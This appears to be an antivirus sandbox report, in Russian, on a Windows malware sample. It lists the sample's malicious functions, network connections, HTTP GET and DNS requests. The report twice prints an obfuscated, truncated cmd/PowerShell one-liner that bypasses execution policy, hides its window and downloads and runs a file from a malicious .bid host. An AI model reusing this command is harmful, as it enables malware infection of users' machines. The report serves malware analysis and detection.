Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://asecwitlecn.bid/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^OW^eRSH^e^l^L.eXe^ ^-^ex^ECuTi^o^N^POlIcY^ By^PasS -N^o^PRo^fiL^E -^wINdows^TYLe ^HI^DDEN^ (N^EW^-O^bj^eCt sYsT^EM.NE^t^.w^ebcLI^e^n^T).^D^o^W^N^LoAD^F^i^le^('http://ase...
Сетевая активность
Подключается к
- 'as###itlecn.bid':80
TCP
Запросы HTTP GET
- http://as###itlecn.bid/read.php?f=#####
UDP
- DNS ASK as###itlecn.bid
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^OW^eRSH^e^l^L.eXe^ ^-^ex^ECuTi^o^N^POlIcY^ By^PasS -N^o^PRo^fiL^E -^wINdows^TYLe ^HI^DDEN^ (N^EW^-O^bj^eCt sYsT^EM.NE^t^.w^ebcLI^e^n^T).^D^o^W^N^LoAD^F^i^le^('http://ase...' (со скрытым окном)
